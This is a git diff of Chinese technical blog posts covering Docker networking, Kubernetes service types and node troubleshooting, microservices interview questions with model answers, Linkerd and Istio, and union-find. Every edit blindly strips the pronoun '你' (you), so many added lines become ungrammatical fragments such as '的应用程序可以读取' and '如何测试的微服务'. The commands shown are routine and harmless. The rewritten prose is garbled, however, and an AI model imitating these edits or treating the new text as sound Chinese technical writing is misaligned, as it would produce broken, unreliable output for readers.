确保机器上安装了 iptables 并已开启 IP Forwarding。 - 确保 SELinux 已禁用或设置为 permissive mode。 @@ -293,7 +293,7 @@ USER ``` 在 Dockerfile 中，每一个指令都有其特定的意义： -- **FROM：** 定义了用于构建新镜像的基础镜像。例如，`FROM ubuntu:18.04` 表示你将基于 Ubuntu 18.04 镜像来创建新的镜像。 +- **FROM：** 定义了用于构建新镜像的基础镜像。例如，`FROM ubuntu:18.04` 表示将基于 Ubuntu 18.04 镜像来创建新的镜像。 - **RUN：** 在镜像内部运行一个命令。它通常用于安装软件或其他包。 @@ -343,9 +343,9 @@ ENTRYPOINT ["/main"] ### 实战场景中的Dockerfile -MySQL 数据库运行在同一台 Docker 主机的另一个容器中，你可以使用 Docker 的网络功能来使这两个容器互相通信。例如，你可以创建一个 Docker 网络，然后在这个网络上启动你的应用容器和 MySQL 容器。 +MySQL 数据库运行在同一台 Docker 主机的另一个容器中，可以使用 Docker 的网络功能来使这两个容器互相通信。例如，可以创建一个 Docker 网络，然后在这个网络上启动的应用容器和 MySQL 容器。 -运行你的应用和 MySQL 的命令可能如下： +运行的应用和 MySQL 的命令可能如下： ```shell # 创建一个 Docker 网络 @@ -366,15 +366,15 @@ docker run --network=mynetwork -e DB_HOST=mymysql -p 8080:8080 -d myapp `docker run [OPTIONS] IMAGE [COMMAND] [ARG...]` 以下是命令 `docker run --network=mynetwork -e DB_HOST=mymysql -p 8080:8080 -d myapp` 中各部分的含义： - `--network=mynetwork`: 这部分指定了容器运行在哪个网络上。在这个例子中，容器运行在名为 "mynetwork" 的网络上。这意味着这个容器可以访问在同一个网络上的其他容器。 -- `-e DB_HOST=mymysql`: 这部分设置了一个环境变量 `DB_HOST`，它的值为 "mymysql"。你的应用程序可以读取这个环境变量，以得知数据库的地址。 +- `-e DB_HOST=mymysql`: 这部分设置了一个环境变量 `DB_HOST`，它的值为 "mymysql"。的应用程序可以读取这个环境变量，以得知数据库的地址。 - `-p 8080:8080`: 这部分映射了容器的端口到宿主机的端口。在这个例子中，容器的 8080 端口被映射到宿主机的 8080 端口。这样，我们可以通过访问宿主机的 8080 端口来访问容器的 8080 端口。 - `-d`: 这个选项让容器在后台运行，并返回容器的 ID。 -- `myapp`: 这是你要运行的 Docker 镜像的名称。 +- `myapp`: 这是要运行的 Docker 镜像的名称。 -在 `docker run` 命令中，你已经将 MySQL 容器的 3306 端口映射到了宿主机的 8806 端口，同时你还将 MySQL 容器加入到了 `mynetwork` 网络。那么在同一网络中的其他容器就可以使用你给 MySQL 容器命名的名字（在这里是 `mymysql`）作为主机名来访问 MySQL 服务。 +在 `docker run` 命令中，已经将 MySQL 容器的 3306 端口映射到了宿主机的 8806 端口，同时还将 MySQL 容器加入到了 `mynetwork` 网络。那么在同一网络中的其他容器就可以使用给 MySQL 容器命名的名字（在这里是 `mymysql`）作为主机名来访问 MySQL 服务。 -所以你需要将 Go 应用程序的配置文件中的 `ip` 字段修改为 `mymysql`。你的新的 `config.toml` 配置文件应该是这样的： +所以需要将 Go 应用程序的配置文件中的 `ip` 字段修改为 `mymysql`。的新的 `config.toml` 配置文件应该是这样的： ```toml [mysql] @@ -385,9 +385,9 @@ docker run --network=mynetwork -e DB_HOST=mymysql -p 8080:8080 -d myapp user = "root" ``` -注意：这里的端口已经改为 `3306`，因为现在你是在 Docker 的内部网络中访问 MySQL 容器，而不是通过宿主机的端口。 +注意：这里的端口已经改为 `3306`，因为现在是在 Docker 的内部网络中访问 MySQL 容器，而不是通过宿主机的端口。 -用Dockerfile 来构建你的 Go 应用程序的 Docker 镜像 +用Dockerfile 来构建的 Go 应用程序的 Docker 镜像 ```dockerfile # 使用官方的 Golang 镜像作为构建环境 FROM golang:1.16 as builder @@ -479,7 +479,7 @@ kube-proxy的ipvs模式： 如何配置kube-proxy使用IPVS或iptables模式： 通过命令行参数：当启动kube-proxy时，可以使用--proxy-mode参数来指定使用的模式，例如--proxy-mode=ipvs或--proxy-mode=iptables。 -通过Kubernetes配置文件：如果你使用的是Kubeadm来部署Kubernetes，可以在kube-proxy的ConfigMap中设置mode字段来选择模式。 +通过Kubernetes配置文件：如果使用的是Kubeadm来部署Kubernetes，可以在kube-proxy的ConfigMap中设置mode字段来选择模式。 - Calico：符合CNI标准的网络插件，给每个Pod生成一个唯一的IP地址，并且把每个节点当做一个路由器。Cilium - CoreDNS：用于Kubernetes集群内部Service的解析，可以让Pod把Service名称解析成IP地址，然后通过Service的IP地址进行连接到对应的应用上。 @@ -498,23 +498,23 @@ ClusterIP/NodePort/LoadBalancer/ExternalName 当我们说“只有集群内的其他Pod才能访问这种类型的服务”时，我们是指以下几点： -集群内部的IP：当你创建一个默认的ServiceType（即ClusterIP）的Kubernetes服务时，该服务会被分配一个唯一的IP地址，这个地址只在Kubernetes集群内部可用。这意味着这个IP地址对于集群外部的任何实体（例如，外部的服务器、客户端或你的本地机器）都是不可达的。 +集群内部的IP：当创建一个默认的ServiceType（即ClusterIP）的Kubernetes服务时，该服务会被分配一个唯一的IP地址，这个地址只在Kubernetes集群内部可用。这意味着这个IP地址对于集群外部的任何实体（例如，外部的服务器、客户端或的本地机器）都是不可达的。 Pod之间的通信：在Kubernetes集群中，Pods可以与其他Pods通信，无论它们是否在同一节点上。当一个Pod想要与另一个服务通信时，它可以使用该服务的ClusterIP和服务端口。由于ClusterIP只在集群内部可用，只有集群内的Pods才能使用这个IP地址来访问服务。 -集群外部的访问：如果你想从集群外部访问一个服务，你不能使用ClusterIP类型的服务。相反，你需要使用其他类型的服务，如NodePort或LoadBalancer，这些服务类型提供了从集群外部访问服务的方法。 +集群外部的访问：如果想从集群外部访问一个服务，不能使用ClusterIP类型的服务。相反，需要使用其他类型的服务，如NodePort或LoadBalancer，这些服务类型提供了从集群外部访问服务的方法。 -`NodePort`：这种类型的服务是在每个节点的 IP 和一个静态端口（也就是 NodePort）上暴露服务。这意味着如果你知道任意一个节点的 IP 和服务的 NodePort，就可以从集群的外部访问服务。在内部，Kubernetes 将 NodePort 服务路由到自动创建的 ClusterIP 服务。 +`NodePort`：这种类型的服务是在每个节点的 IP 和一个静态端口（也就是 NodePort）上暴露服务。这意味着如果知道任意一个节点的 IP 和服务的 NodePort，就可以从集群的外部访问服务。在内部，Kubernetes 将 NodePort 服务路由到自动创建的 ClusterIP 服务。 -当你创建一个NodePort类型的服务时，Kubernetes实际上会为你执行两个操作： +当创建一个NodePort类型的服务时，Kubernetes实际上会为执行两个操作： -创建一个ClusterIP服务：首先，Kubernetes会为该服务自动创建一个ClusterIP，这是一个只能在集群内部访问的IP地址。这意味着，即使你明确地创建了一个NodePort服务，你仍然会得到一个与该服务关联的ClusterIP。 +创建一个ClusterIP服务：首先，Kubernetes会为该服务自动创建一个ClusterIP，这是一个只能在集群内部访问的IP地址。这意味着，即使明确地创建了一个NodePort服务，仍然会得到一个与该服务关联的ClusterIP。 在每个节点上开放一个端口（NodePort）：Kubernetes会在每个集群节点上的指定端口（即NodePort）上开放该服务。任何到达节点上这个端口的流量都会被自动转发到该服务的ClusterIP，然后再路由到后端的Pods。 -这种设计的好处是，你可以在集群内部使用ClusterIP来访问服务（就像任何其他ClusterIP服务一样），同时还可以从集群外部通过NodePort来访问该服务。 +这种设计的好处是，可以在集群内部使用ClusterIP来访问服务（就像任何其他ClusterIP服务一样），同时还可以从集群外部通过NodePort来访问该服务。 所以，当我们说“在内部，Kubernetes将NodePort服务路由到自动创建的ClusterIP服务”时，我们是指：从外部到达NodePort的流量首先被转发到该服务的ClusterIP，然后再由ClusterIP路由到后端的Pods。这是Kubernetes如何处理NodePort服务的流量的内部机制。 @@ -523,7 +523,7 @@ Pod之间的通信：在Kubernetes集群中，Pods可以与其他Pods通信， LoadBalancer服务类型： -外部负载均衡器：当你在支持的云提供商环境中创建一个LoadBalancer类型的服务时，Kubernetes会自动为你配置云提供商的外部负载均衡器。 +外部负载均衡器：当在支持的云提供商环境中创建一个LoadBalancer类型的服务时，Kubernetes会自动为配置云提供商的外部负载均衡器。 与NodePort和ClusterIP的关联： @@ -546,8 +546,8 @@ LoadBalancer服务类型： 使用场景： -假设你的Kubernetes集群内部的应用需要访问一个位于集群外部的数据库，例如database.external.com。 -你可以创建一个ExternalName服务，名为database-service，其externalName字段设置为database.external.com。 +假设的Kubernetes集群内部的应用需要访问一个位于集群外部的数据库，例如database.external.com。 +可以创建一个ExternalName服务，名为database-service，其externalName字段设置为database.external.com。 现在，集群内的应用可以简单地连接到database-service。但在DNS解析时，它实际上会被解析为database.external.com。 无代理和负载均衡：由于ExternalName只是返回CNAME，所以没有涉及到流量代理或负载均衡。它只是一个DNS级别的别名或引用。 @@ -567,37 +567,37 @@ spec: > k8s的节点挂掉，如何处理 -当Kubernetes中的一个节点（Node）挂掉时，Kubernetes会采取一系列的自动化步骤来恢复工作负载和服务的可用性。但作为集群管理员或操作员，你也可以采取一些手动步骤来确保系统的健康和稳定性。以下是当K8s的节点挂掉时的处理步骤： +当Kubernetes中的一个节点（Node）挂掉时，Kubernetes会采取一系列的自动化步骤来恢复工作负载和服务的可用性。但作为集群管理员或操作员，也可以采取一些手动步骤来确保系统的健康和稳定性。以下是当K8s的节点挂掉时的处理步骤： 1. **确认节点状态**: - 使用`kubectl get nodes`检查节点的状态。如果节点挂掉，它的状态可能会显示为`NotReady`。 2. **检查节点日志和监控**: - - 如果你有对节点的SSH访问权限，尝试登录并检查系统日志、kubelet日志等，以确定导致节点故障的原因。 + - 如果有对节点的SSH访问权限，尝试登录并检查系统日志、kubelet日志等，以确定导致节点故障的原因。 - 查看任何已部署的监控和警报系统（如Prometheus）以获取更多信息。 3. **等待自动恢复**: - 如果节点在短时间内没有恢复，Kubernetes的控制平面将开始重新调度该节点上的Pods到其他健康的节点。 - - 如果你的工作负载使用了持久性存储，如PersistentVolumeClaims (PVCs)，确保存储系统支持多节点访问或正确处理节点故障。 + - 如果的工作负载使用了持久性存储，如PersistentVolumeClaims (PVCs)，确保存储系统支持多节点访问或正确处理节点故障。 4. **手动干预**: - - 如果节点长时间处于`NotReady`状态，并且自动恢复没有成功，你可能需要手动干预。 - - 你可以尝试重启节点或修复任何已知的硬件/软件问题。 + - 如果节点长时间处于`NotReady`状态，并且自动恢复没有成功，可能需要手动干预。 + - 可以尝试重启节点或修复任何已知的硬件/软件问题。 - 如果节点无法恢复，考虑替换它。在云环境中，这通常意味着终止有问题的实例并启动一个新的实例。 5. **清理和维护**: - - 如果你决定永久删除一个节点，确保首先使用`kubectl drain `来安全地从节点中移除所有工作负载。 - - 然后，你可以使用`kubectl delete node `从集群中删除该节点。 + - 如果决定永久删除一个节点，确保首先使用`kubectl drain `来安全地从节点中移除所有工作负载。 + - 然后，可以使用`kubectl delete node `从集群中删除该节点。 6. **预防措施**: - 考虑使用自动扩展组或类似机制来自动替换失败的节点。 - - 确保你的集群有足够的冗余，以便在一个或多个节点失败时仍然可以继续运行。 + - 确保的集群有足够的冗余，以便在一个或多个节点失败时仍然可以继续运行。 - 定期备份集群的状态和数据，以便在灾难恢复时使用。 > Kubernetes如何查看节点的信息？ -在Kubernetes中，你可以使用kubectl命令行工具来查看节点的信息。以下是一些常用的命令来查看和获取节点相关的信息： +在Kubernetes中，可以使用kubectl命令行工具来查看节点的信息。以下是一些常用的命令来查看和获取节点相关的信息： 查看所有节点的简要信息: @@ -618,7 +618,7 @@ kubectl describe nodes ``` 获取节点的原始YAML或JSON格式的配置: -这可以帮助你查看节点的完整配置和状态。 +这可以帮助查看节点的完整配置和状态。 ```shell kubectl get node -o yaml @@ -634,7 +634,7 @@ kubectl get nodes --show-labels ``` 使用标签选择器查看特定的节点: -例如，如果你想查看所有标记为env=production的节点。 +例如，如果想查看所有标记为env=production的节点。 ```shell kubectl get nodes -l env=production ``` @@ -647,7 +647,7 @@ kubectl top node ``` > 获取公网的IP地址 -在Kubernetes中，节点的公网IP不是默认的信息，因为Kubernetes主要关注的是集群内部的通信。但是，根据你的云提供商和网络设置，公网IP可能会作为节点的一个注解或标签存在。 +在Kubernetes中，节点的公网IP不是默认的信息，因为Kubernetes主要关注的是集群内部的通信。但是，根据的云提供商和网络设置，公网IP可能会作为节点的一个注解或标签存在。 以下是一些常见的方法来尝试获取节点的公网IP： @@ -665,20 +665,20 @@ kubectl get node -o yaml 在输出中查找公网IP。它可能存在于`status.addresses`部分，并标记为`ExternalIP`。 **云提供商的CLI工具**: -如果你在云环境（如AWS、GCP、Azure等）中运行Kubernetes，你可以使用云提供商的CLI工具来获取实例的公网IP。例如，在AWS中，你可以使用`aws ec2 describe-instances`来获取实例的详细信息，其中包括公网IP。 +如果在云环境（如AWS、GCP、Azure等）中运行Kubernetes，可以使用云提供商的CLI工具来获取实例的公网IP。例如，在AWS中，可以使用`aws ec2 describe-instances`来获取实例的详细信息，其中包括公网IP。 **使用标签或注解**: -有些云提供商或网络插件可能会将公网IP作为节点的一个标签或注解添加。你可以检查节点的标签和注解来查找这些信息。 +有些云提供商或网络插件可能会将公网IP作为节点的一个标签或注解添加。可以检查节点的标签和注解来查找这些信息。 **自定义脚本或工具**: -如果你经常需要这些信息，可以考虑编写一个小脚本或工具，结合`kubectl`和云提供商的CLI，自动获取所有节点的公网IP。 +如果经常需要这些信息，可以考虑编写一个小脚本或工具，结合`kubectl`和云提供商的CLI，自动获取所有节点的公网IP。 请注意，不是所有的Kubernetes节点都有公网IP。在某些环境中，节点可能只有私有IP，而公网访问是通过负载均衡器或其他网络设备实现的。 > 查看所有节点的InternalIP查看所有节点的InternalIP -要查看Kubernetes集群中所有节点的`InternalIP`，你可以使用`kubectl`命令行工具配合`jsonpath`来提取这些信息。以下是如何做到这一点的命令： +要查看Kubernetes集群中所有节点的`InternalIP`，可以使用`kubectl`命令行工具配合`jsonpath`来提取这些信息。以下是如何做到这一点的命令： ```bash kubectl get nodes -o=jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.status.addresses[?(@.type=="InternalIP")].address}{"\n"}' diff --git a/_posts/2023-9-12-test-markdown.md b/_posts/2023-9-12-test-markdown.md index bf2db31c0e1b..b17ad70f26db 100644 --- a/_posts/2023-9-12-test-markdown.md +++ b/_posts/2023-9-12-test-markdown.md @@ -6,19 +6,19 @@ tags: [微服务] comments: true --- -**问题1： 你能解释一下什么是微服务架构吗？** +**问题1： 能解释一下什么是微服务架构吗？** 理想答案： 微服务架构是一种将应用程序分解为一组小型、独立的服务的方法，这些服务各自运行在自己的进程中，通常是围绕业务功能进行划分的。这些服务可以独立开发、部署和扩展，它们通过轻量级的机制（通常是HTTP RESTful API或者异步消息传递）进行通信。 -**问题2： 你可以描述一下微服务的优点和缺点吗？** +**问题2： 可以描述一下微服务的优点和缺点吗？** 理想答案： 微服务的优点包括：更快的开发和部署速度，因为服务小且独立，可以快速开发和部署；更好的可扩展性，因为每个服务都可以根据需要独立扩展；更高的容错性，一个服务的失败不会影响到其他服务。然而，微服务也有一些缺点，如：复杂性增加，因为需要管理和协调多个服务；数据一致性问题，因为每个服务都有自己的数据库；网络延迟和通信问题，因为服务之间需要通过网络进行通信。 -**问题3： 你在微服务开发中遇到过什么样的挑战，你是如何解决的？** +**问题3： 在微服务开发中遇到过什么样的挑战，是如何解决的？** 理想答案： 在我参与的一个微服务项目中，我们遇到了服务间通信的问题。我们最初使用的是同步的HTTP请求，但这导致了服务间的耦合度增加，以及网络延迟问题。为了解决这个问题，我们转向了异步的消息队列，这样服务就可以独立地处理请求，而不需要等待其他服务的响应。 -**问题4： 你如何看待服务之间的数据一致性问题？** +**问题4： 如何看待服务之间的数据一致性问题？** 理想答案： 在微服务架构中，每个服务通常都有自己的数据库，这可能会导致数据一致性问题。为了解决这个问题，我们可以使用一些策略，如事件驱动的架构，其中一个服务的状态改变会触发事件，其他服务可以监听这些事件并更新自己的状态。另一种策略是使用分布式事务，但这可能会增加系统的复杂性。 -**问题5： 你有使用过哪些微服务相关的工具或技术？** +**问题5： 有使用过哪些微服务相关的工具或技术？** 理想答案： 在我之前的项目中，我使用过一些微服务相关的工具和技术。例如，我使用Docker进行容器化，这使得我们的服务可以在不同的环境中一致地运行。我也使用了Kubernetes进行服务的部署和管理，它提供了服务发现、负载均衡、自动扩展等功能。此外，我还使用了RabbitMQ作为我们的消息队列，它支持我们的服务进行异步通信。在服务间通信方面，我使用了gRPC和RESTful API。对于服务的监控和日志收集，我使用了Prometheus和ELK（Elasticsearch, Logstash, Kibana） **问题6： Go中如何通过消息队列技术来实现服务间的异步通信** @@ -146,58 +146,58 @@ func main() { 例如，假设我们有一个订单服务和一个库存服务，当用户下单时，订单服务需要检查库存。在同步的HTTP请求中，订单服务会直接调用库存服务的API，然后等待响应。但在异步的消息传递中，订单服务会发送一个检查库存的消息到消息队列，然后继续处理其他任务。库存服务会监听这个队列，当它收到消息时，它会检查库存，然后发送一个响应消息回去。订单服务可以在后续的处理中获取这个响应消息。这样，订单服务和库存服务就可以异步地进行通信，它们不需要等待对方的响应。 -**问题7： 在你的微服务架构中，你是如何处理服务发现的？** +**问题7： 在的微服务架构中，是如何处理服务发现的？** 理想答案： 在我的微服务架构中，我使用了Kubernetes作为服务发现的解决方案。Kubernetes的服务抽象可以自动为每个服务提供一个可发现的DNS名字，并可以在网络上均衡负载。这使得服务可以轻松地找到并与其他服务进行通信，而无需知道它们的具体位置。 -**问题8： 你如何处理微服务的认证和授权？** +**问题8： 如何处理微服务的认证和授权？** 理想答案： 在我的微服务架构中，我使用了JWT（JSON Web Tokens）进行服务间的认证。每个服务在处理请求时都会检查JWT，以验证请求的来源。对于授权，我使用了RBAC（Role-Based Access Control）模型，每个服务都有一个角色列表，这些角色定义了它可以访问哪些资源和执行哪些操作。 -**问题9： 你如何处理微服务的日志和监控？** +**问题9： 如何处理微服务的日志和监控？** 理想答案： 对于日志，我使用了ELK（Elasticsearch, Logstash, Kibana）堆栈来收集、存储和分析日志。每个服务都将其日志发送到Logstash，然后Logstash将日志存储在Elasticsearch中，最后我可以使用Kibana来查看和分析日志。对于监控，我使用了Prometheus和Grafana。Prometheus用于收集和存储指标，而Grafana用于可视化这些指标。 -**问题10： 你如何处理微服务的故障恢复和冗余？** +**问题10： 如何处理微服务的故障恢复和冗余？** 在我的微服务架构中，我使用了Kubernetes的复制控制器来确保每个服务都有足够的副本在运行，如果一个服务的实例失败，复制控制器会自动启动一个新的实例来替换它。此外，我还使用了Kubernetes的服务抽象来提供负载均衡和服务发现，这使得请求可以被均匀地分配到各个服务实例，即使某些实例失败，也不会影响到服务的可用性。 -**问题11： 在微服务架构中，你是如何处理数据一致性问题的？** +**问题11： 在微服务架构中，是如何处理数据一致性问题的？** 理想答案： 在微服务架构中，数据一致性是一个挑战，因为每个服务都有自己的数据库。为了解决这个问题，我使用了事件驱动的架构，其中一个服务的状态改变会触发事件，其他服务可以监听这些事件并更新自己的状态。这种方式可以保证最终一致性，但可能需要一些时间来传播状态改变。 -**问题12： 你有没有使用过服务网格技术，比如Istio或Linkerd？** +**问题12： 有没有使用过服务网格技术，比如Istio或Linkerd？** 理想答案： 是的，我使用过Istio。Istio是一个开源的服务网格，它提供了一种统一的方式来连接、保护、控制和观察服务。我使用Istio来管理我的微服务的流量，实现故障注入和容错，以及提供详细的指标和日志。 -**问题13： 在你的微服务架构中，你是如何处理跨服务的事务的？** +**问题13： 在的微服务架构中，是如何处理跨服务的事务的？** 理想答案： 在微服务架构中，处理跨服务的事务是一个挑战，因为每个服务都有自己的数据库。为了解决这个问题，我使用了分布式事务模式，如两阶段提交或者补偿事务。这些模式可以保证在所有相关的服务中，事务要么都被提交，要么都被回滚。 -**问题14： 你如何测试你的微服务？** +**问题14： 如何测试的微服务？** 理想答案： 我使用了多种测试策略来测试我的微服务。首先，我使用单元测试来测试每个服务的单个功能。然后，我使用集成测试来测试服务间的交互。我还使用端到端测试来测试整个系统的行为。此外，我还使用负载测试和混沌测试来测试系统的性能和稳定性。 -**问题15： 在微服务架构中，你是如何处理服务间的依赖关系的？** +**问题15： 在微服务架构中，是如何处理服务间的依赖关系的？** 理想答案： 在微服务架构中，服务间的依赖关系是一个重要的问题。我尽量设计服务以减少直接的依赖关系，使得每个服务尽可能地独立。当服务间的依赖关系不可避免时，我使用服务注册和发现机制来动态地管理这些依赖关系。此外，我也使用断路器模式来防止依赖服务的故障导致整个系统的故障。 -**问题16： 在微服务架构中，你是如何处理版本控制和服务升级的？** +**问题16： 在微服务架构中，是如何处理版本控制和服务升级的？** 理想答案： 在我的微服务架构中，我使用语义版本控制来管理每个服务的版本。当我需要升级一个服务时，我会先在生产环境中部署一个新版本的服务实例，然后使用金丝雀发布或者蓝绿部署的策略来逐渐将流量切换到新的服务实例。这样，我可以在不中断服务的情况下进行升级，并且可以随时回滚到旧的版本。 -**问题17： 在微服务架构中，你是如何处理安全问题的？** +**问题17： 在微服务架构中，是如何处理安全问题的？** 理想答案： 在我的微服务架构中，我使用多种策略来保证安全。首先，我使用TLS来加密服务间的通信。然后，我使用API网关来进行身份验证和授权，只有经过验证和授权的请求才能访问我的服务。此外，我还使用网络策略来限制服务间的通信，只允许必要的通信。我也定期进行安全审计和漏洞扫描，以及及时更新我的服务和基础设施来修复已知的安全漏洞。 -**问题18： 你能解释一下Istio的工作原理吗，以及它如何帮助管理微服务？** +**问题18： 能解释一下Istio的工作原理吗，以及它如何帮助管理微服务？** 理想答案： Istio是一个开源的服务网格，它提供了一种统一的方式来连接、保护、控制和观察服务。Istio的核心是一个智能代理层，也就是Envoy代理，它被部署为sidecar，与微服务一起运行。这些代理可以拦截微服务之间的所有网络通信，并通过一系列的Istio控制平面组件进行管理和配置。 Istio的服务网格可以帮助我们实现微服务的流量管理、安全、策略执行和遥测收集。例如，我们可以使用Istio来实现金丝雀部署、蓝绿部署、流量镜像等高级流量路由策略。我们也可以使用Istio来实现服务间的mTLS加密、身份验证和授权。此外，Istio还可以收集微服务的详细遥测信息，帮助我们监控和观察微服务的行为。 -**问题19： 你能解释一下Linkerd的工作原理吗，以及它如何帮助管理微服务？** +**问题19： 能解释一下Linkerd的工作原理吗，以及它如何帮助管理微服务？** 理想答案： Linkerd是一个轻量级的服务网格，它提供了服务发现、负载均衡、故障恢复、路由、安全、可观察性等功能。Linkerd的核心是一个代理，这个代理被部署为sidecar，与微服务一起运行。这些代理可以拦截微服务之间的所有网络通信，并通过Linkerd的控制平面进行管理和配置。 @@ -205,15 +205,15 @@ Linkerd的服务网格可以帮助我们实现微服务的流量管理、安全 在业务中使用Linkerd的步骤大致如下： -> 1-安装Linkerd：首先，你需要在你的Kubernetes集群中安装Linkerd。这可以通过下载Linkerd的CLI工具，并运行linkerd install命令来完成。 +> 1-安装Linkerd：首先，需要在的Kubernetes集群中安装Linkerd。这可以通过下载Linkerd的CLI工具，并运行linkerd install命令来完成。 -> 2-注入Linkerd代理：然后，你需要将Linkerd的代理注入到你的微服务中。这可以通过在你的Kubernetes部署配置文件中添加linkerd.io/inject: enabled注解，或者使用linkerd inject命令来完成。 +> 2-注入Linkerd代理：然后，需要将Linkerd的代理注入到的微服务中。这可以通过在的Kubernetes部署配置文件中添加linkerd.io/inject: enabled注解，或者使用linkerd inject命令来完成。 -> 3-部署你的微服务：现在，你可以部署你的微服务了。当你的微服务启动时，Linkerd的代理也会作为sidecar一起启动。这个代理会自动拦截你的微服务的所有入站和出站网络通信。 +> 3-部署的微服务：现在，可以部署的微服务了。当的微服务启动时，Linkerd的代理也会作为sidecar一起启动。这个代理会自动拦截的微服务的所有入站和出站网络通信。 -> 4-配置你的服务：你可以使用Linkerd的控制平面来配置你的服务。例如，你可以设置路由规则、负载均衡策略、故障恢复策略等。 +> 4-配置的服务：可以使用Linkerd的控制平面来配置的服务。例如，可以设置路由规则、负载均衡策略、故障恢复策略等。 -> 5-观察你的服务：最后，你可以使用Linkerd的控制平面来观察你的服务。Linkerd提供了丰富的指标和可视化工具，可以帮助你监控你的服务的性能和健康状况。 +> 5-观察的服务：最后，可以使用Linkerd的控制平面来观察的服务。Linkerd提供了丰富的指标和可视化工具，可以帮助监控的服务的性能和健康状况。 如何在Kubernetes部署配置文件中注入Linkerd代理： ```yaml @@ -248,11 +248,11 @@ Linkerd是如何作为Sidecar 提供丰富的指标和可视化工具来帮助 > 这些指标被Linkerd的代理收集并发送到Linkerd的控制平面。控制平面包含一个Prometheus实例，用于存储这些指标，以及一个Grafana实例，用于可视化这些指标。 -> 通过Linkerd的Web界面或CLI工具来访问这些指标和可视化工具。例如，你可以运行linkerd dashboard命令来打开Linkerd的Web界面，在那里你可以看到你的服务的实时性能和健康状况，以及各种有用的图表和报告。 +> 通过Linkerd的Web界面或CLI工具来访问这些指标和可视化工具。例如，可以运行linkerd dashboard命令来打开Linkerd的Web界面，在那里可以看到的服务的实时性能和健康状况，以及各种有用的图表和报告。 -> 此外，Linkerd还提供了一个名为Tap的功能，它可以让你实时观察到服务之间的实际网络请求。这对于调试和理解服务的行为非常有用。 +> 此外，Linkerd还提供了一个名为Tap的功能，它可以让实时观察到服务之间的实际网络请求。这对于调试和理解服务的行为非常有用。 -> 总的来说，Linkerd通过自动收集和可视化服务的指标，为你提供了强大的观察能力，使你能够更好地理解和管理你的服务. +> 总的来说，Linkerd通过自动收集和可视化服务的指标，为提供了强大的观察能力，使能够更好地理解和管理的服务. 具体说说Linkerd是如何实现请求级别的负载均衡和自动重试以及如何实现实现服务间的mTLS加密的？ @@ -267,7 +267,7 @@ Linkerd是如何作为Sidecar 提供丰富的指标和可视化工具来帮助 > 当两个代理进行通信时，它们会互相验证对方的证书。如果证书验证失败，那么通信就会被拒绝。这样，我们就可以确保我们的微服务的通信是安全的。 -**问题20： 你能解释一下Istio和Linkerd在功能和性能上的主要区别吗？** +**问题20： 能解释一下Istio和Linkerd在功能和性能上的主要区别吗？** 理想答案： Istio和Linkerd都是服务网格，它们提供了类似的功能，如服务发现、负载均衡、故障恢复、路由、安全、可观察性等。然而，它们在设计哲学、易用性、性能和社区支持等方面有一些不同。 @@ -286,7 +286,7 @@ Linkerd Proxy 1将请求转发给Service1，然后将Service1的响应返回给 Linkerd Proxy 1将请求转发给Linkerd Proxy 2，Linkerd Proxy 2再将请求转发给Service2。 Service2将响应返回给Linkerd Proxy 2，Linkerd Proxy 2将响应转发给Linkerd Proxy 1，最后Linkerd Proxy 1将响应返回给客户端。 -**问题21： 你能解释一下如何在微服务架构中实现分布式追踪吗？** +**问题21： 能解释一下如何在微服务架构中实现分布式追踪吗？** 理想答案： 在微服务架构中，一个请求可能需要经过多个服务才能完成，这使得调试和性能优化变得复杂。为了解决这个问题，我使用了分布式追踪技术，如Jaeger或Zipkin。 @@ -333,7 +333,7 @@ func main() { ctx, span := tracer.Start(context.Background(), "my-operation") defer span.End() - // 在这里执行你的操作 + // 在这里执行的操作 doSomething(ctx) // 确保所有的追踪都被导出 @@ -350,20 +350,20 @@ func doSomething(ctx context.Context) { _, span := tracer.Start(ctx, "my-sub-operation") defer span.End() - // 在这里执行你的操作 + // 在这里执行的操作 } ``` 首先设置Jaeger作为追踪导出器，然后设置追踪提供器。在执行操作时，我们创建一个新的追踪，并从上下文中获取追踪。我们还可以创建子追踪来追踪子操作。最后，我们确保所有的追踪都被导出。 -**问题22： 你有没有使用过服务网格以外的其他微服务管理工具，如Spring Cloud或Netflix OSS？** +**问题22： 有没有使用过服务网格以外的其他微服务管理工具，如Spring Cloud或Netflix OSS？** 理想答案： 是的，我使用过Spring Cloud和Netflix OSS。这些工具提供了服务发现、配置管理、路由和负载均衡、断路器、全局锁、领导选举、分布式会话和集群状态等功能。虽然它们和服务网格有一些功能上的重叠，但它们更注重于在特定的编程语言和框架中提供微服务支持，而服务网格则是语言无关的。 -**问题23： 在微服务架构中，你是如何处理数据的同步和异步通信的？** +**问题23： 在微服务架构中，是如何处理数据的同步和异步通信的？** 理想答案： 在我的微服务架构中，我使用HTTP/REST或gRPC进行同步通信，这主要用于前端请求或者服务间的直接调用。对于需要异步处理的场景，我使用消息队列，如RabbitMQ或Kafka，来实现服务间的解耦和异步通信。我也使用事件驱动的架构，其中一个服务的状态改变会触发事件，其他服务可以监听这些事件并更新自己的状态。 -**问题24： 你有没有使用过开源的API网关，如Kong或者Ambassador？** +**问题24： 有没有使用过开源的API网关，如Kong或者Ambassador？** 理想答案： 是的，我使用过Kong和Ambassador。这些API网关提供了路由、负载均衡、身份验证和授权、限流和配额、IP过滤、日志和监控等功能。我使用API网关来管理我的微服务的公共入口，这可以减少微服务的复杂性，提高安全性，以及提供更好的可观察性。 diff --git a/_posts/2023-9-13-test-markdown.md b/_posts/2023-9-13-test-markdown.md index e7b0a4a3da24..285bb6a09d23 100644 --- a/_posts/2023-9-13-test-markdown.md +++ b/_posts/2023-9-13-test-markdown.md @@ -574,7 +574,7 @@ func DFS(i int , j int){ ## 查并集 -> 并查集使用的是一种树型的数据结构，用于处理一些不交集 (Disjoint Sets）的合并及查询问题。比如让你求两个人是否间接认识，两个地点之间是否有至少一条路径。上面的例子其实都可以抽象为联通性问题。即如果两个点联通，那么这两个点就有至少一条路径能够将其连接起来。 +> 并查集使用的是一种树型的数据结构，用于处理一些不交集 (Disjoint Sets）的合并及查询问题。比如让求两个人是否间接认识，两个地点之间是否有至少一条路径。上面的例子其实都可以抽象为联通性问题。即如果两个点联通，那么这两个点就有至少一条路径能够将其连接起来。 > 值得注意的是，并查集只能回答"联通与否”，而不能回答诸如“具体的联通路径是什么”。如果要回答“具体的联通路径是什么”这个问题，则需要借助其他算法，比如广度优先遍历。并查集 (Union-find Algorithm）定义了两个用于此数据结构的操作：Find：确定元素属于哪一个子集。它可以被用来确定两个元素是否属于同一子集。Union：将两个子集合并成同一个集合。 @@ -1031,11 +1031,11 @@ func DFS(start, end string, g Graph, visited map[string]bool) float64 { ## 平衡二叉树 -> 